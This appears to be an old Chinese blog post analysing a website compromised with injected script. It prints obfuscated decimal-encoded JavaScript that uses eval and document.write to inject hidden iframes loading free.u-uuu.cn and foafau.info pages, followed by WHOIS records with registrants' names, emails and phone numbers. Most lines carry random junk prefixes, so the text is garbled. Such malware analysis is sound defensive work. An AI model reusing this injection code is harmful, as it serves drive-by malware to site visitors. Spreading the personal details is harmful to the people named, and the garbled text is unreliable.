首发在我的博客里面，
'!>LF 1W= h W\q http://www.areway.cn/?p=175 uO8z . 5TqB&GP0 e~w-v"' 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
G[z!;Zuf _yw]Cacr\ <script>t=’60,105,102,114,97,109,101,
&i179Qg! 32,115,114,99,61,104,116,116,112,58,47,47,
x ?v/| 102,114,101,101,46,117,45,117,117,117,46,99,
pT\>kqmj 110,47,101,114,114,111,114,46,104,116,109,
Y -%g5 32,119,105,100,116,104,61,49,48,48,32,104,
't'~p#$,F 101,105,103,104,116,61,48,62,60,47,105,102,
V+myGsr` 114,97,109,101,62′;
T{-<G13 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
mcvd/ <\l@`x96"D <script>t=’60,105,102,114,97,109,101,32,115,
^EY^.?Mg 114,99,61,104,116,116,112,58,47,47,102,114,
GY@(% ^ 101,101,46,117,45,117,117,117,46,99,110,47,
e=S51q_0 101,114,114,111,114,46,104,116,109,32,119,
0IO#h{t 105,100,116,104,61,49,48,48,32,104,101,105,
|zhV l 103,104,116,61,48,62,60,47,105,102,114,97,
&Jw]3U5J 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
V`Ve__5; document.write(t);</script>
Y|$3%t d;1%Ei3K <html xmlns=”
r/E'#5 Q http://www.w3.org/1999/xhtml qXC>D Gy “>
SKO*x^"eU <head>
OtK=UtVI <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
8 0=6B <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
>Wvb!8N <title>首页 - 爱生活家庭网
5H8]N# Y& P(B:tg 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
&+]x 转换字符串后的大概内容是（谁点击后果自付）：
$}kT )+K <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
GddP)l{uCF 8~Avg6, 查询玉米u-uuu.cn的详细信息：
-:Up$6PR Domain Name: u-uuu.cn
R E~:+.eB ROID: 20070901s10001s64972306-cn
6yZ !K Domain Status: ok
2rK%fV53b Registrant Organization: 王雷
rZ}y'A Registrant Name: 王雷
-UD^O*U Administrative Email:
czlovexs@126.com ( <y~]ig y Sponsoring Registrar: 北京万网志成科技有限公司
m^hi}Am1 Name Server:ns.yovole.com
~:8}Bz2!5 Name Server:ns1.yovole.com
L O)&|9xw Registration Date: 2007-09-01 17:54
3@xn<eu Expiration Date: 2008-09-01 17:54
0V:7pSC{P 最后PING了一下地址 都没有什么….
o1I8l7 QAs$fi}f]s 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
7Uy49cs, <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
-n.ltgW@ <script language=”javascript” src=”
!I3_KuJ5 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 'L$%)`;e >
liu%K9 -r 这个玉米应该有可能是木马作者的：
E"8cB]`|8 foafau.info的详细信息：
} @VdtH Access to INFO WHOIS information is provided to assist persons in
ea n_/E determining the contents of a domain name registration record in the
R`%C]uG Afilias registry database. The data in this record is provided by
2|Of$oMc Afilias Limited for informational purposes only, and Afilias does not
dw6U} guarantee its accuracy. This service is intended only for query-based
hRKAs
]^j access. You agree that you will use this data only for lawful purposes
z T _ and that, under no circumstances will you use this data to: (a) allow,
PDwi] )6mf enable, or otherwise support the transmission by e-mail, telephone, or
ShFC@)<lJ facsimile of mass unsolicited, commercial advertising or solicitations
9Rz TC to entities other than the data recipient’s own existing customers; or
'x'.[=; (b) enable high volume, automated, electronic processes that send
o{C7V * queries or data to the systems of Registry Operator, a Registrar, or
8HL$y-F Afilias except as reasonably necessary to register domain names or
<K6:" modify existing registrations. All rights reserved. Afilias reserves
"DWw]\xO]( the right to modify these terms at any time. By submitting this query,
}V@ *
:3w8 you agree to abide by this policy.
xV]eEOiLM Domain ID:D22418703-LRMS
cu)s sT Domain Name:FOAFAU.INFO
ey icMy`7{ Created On:20-Nov-2007 16:05:42 UTC
d46PAA{' Last Updated On:20-Nov-2007 16:05:44 UTC
"YW&,X5R Expiration Date:20-Nov-2008 16:05:42 UTC
j% 7N\Vb Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
?\_\pa/+ Status:CLIENT DELETE PROHIBITED
fgzk c"ReK Status:CLIENT RENEW PROHIBITED
OC (S"&D Status:CLIENT TRANSFER PROHIBITED
$>Y 2N5 Status:CLIENT UPDATE PROHIBITED
@jXdQY%{ Status:TRANSFER PROHIBITED
/&PRw<}>_o Registrant ID:GODA-040110615
xbZ x&`( Registrant Name:liu hong
c,wYXnJ_t Registrant Organization:
+`y{r^xD Registrant Street1:beijing
gd#j{yI/Xf Registrant Street2:
4V2}'/|[ Registrant Street3:
D's Tv}P Registrant City:beijing
Z>9uVBE02 Registrant State/Province:
T4
:UJj} Registrant Postal Code:100000
>v
sy P Registrant Country:CN
n\X' 2 Registrant Phone:+86.860108888777
p,(gv])ie Registrant Phone Ext.:
[:vH_(| Registrant FAX:
:TPT]q
d@ Registrant FAX Ext.:
] 2Vu+AP Registrant Email:bbbshiji@163.com
#pe#(xoI Admin ID:GODA-240110615
; 7;=)/- Admin Name:liu hong
c8@zpkMj/ Admin Organization:
O_gr{L} Admin Street1:beijing
< %_7% Admin Street2:
/b|V=j}W Admin Street3:
N9 SC \ Admin City:beijing
||xiKg Admin State/Province:
<l#|I'hP Admin Postal Code:100000
-V C
k k Admin Country:CN
w<qn @f Admin Phone:+86.860108888777
:!'!V>#g Admin Phone Ext.:
)U2cS\k'7n Admin FAX:
<6!;mb
;cX Admin FAX Ext.:
-2D/RE7| Admin Email:bbbshiji@163.com
zp 4aiMn1F Billing ID:GODA-340110615
>+ /2g Billing Name:liu hong
5{PT Billing Organization:
4 ~s{zob Billing Street1:beijing
3dl#:Si Billing Street2:
>'/KOK" Billing Street3:
UPE9e
Billing City:beijing
| H . Billing State/Province:
,
z-# B] Billing Postal Code:100000
Zy J-}[z Billing Country:CN
>.xg o6 Billing Phone:+86.860108888777
/QgU!:e Billing Phone Ext.:
I:l/U-b7h Billing FAX:
],W/IDv Billing FAX Ext.:
S;I>W&U Billing Email:bbbshiji@163.com
><HHO
(74X Tech ID:GODA-140110615
;ndwVZ~, Tech Name:liu hong
"p" M9P' Tech Organization:
U!TSAg21P Tech Street1:beijing
gP 13n!7 Tech Street2:
,UveH` n- Tech Street3:
ozCH1V{p Tech City:beijing
K(:
_52rt Tech State/Province:
<N~&Leh Tech Postal Code:100000
Fr|Ts>Kx Tech Country:CN
(K74Qg Tech Phone:+86.860108888777
)q8!:Z Tech Phone Ext.:
v PJ=~*P = Tech FAX:
,zP.ch 0K Tech FAX Ext.:
ir?Y> Tech Email:bbbshiji@163.com
8q" C=t7 Name Server:NS27.DOMAINCONTROL.COM
&F 3'tf? Name Server:NS28.DOMAINCONTROL.COM
gm1 7 VrC Name Server:
-Uo"!o>x| Name Server:
A`I ;m0< Name Server:
FSN zBN Name Server:
o-ee3j. Name Server:
.S6u {B Name Server:
U#mrbW Name Server:
.B? J@, Name Server:
+gh*n,:| Name Server:
oScKL#Hu Name Server:
0;X0<IV Name Server:
d^:(-2l- (oG-h"^/ 接着下载每个文件里面的代码：
gwQk
M4 一步一步看..
qy^sdqHl@ 
W*!u_]K> 
F<Y> 
'7ps_pz 
Cu,#w3JR 
7.!`c-8
u 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
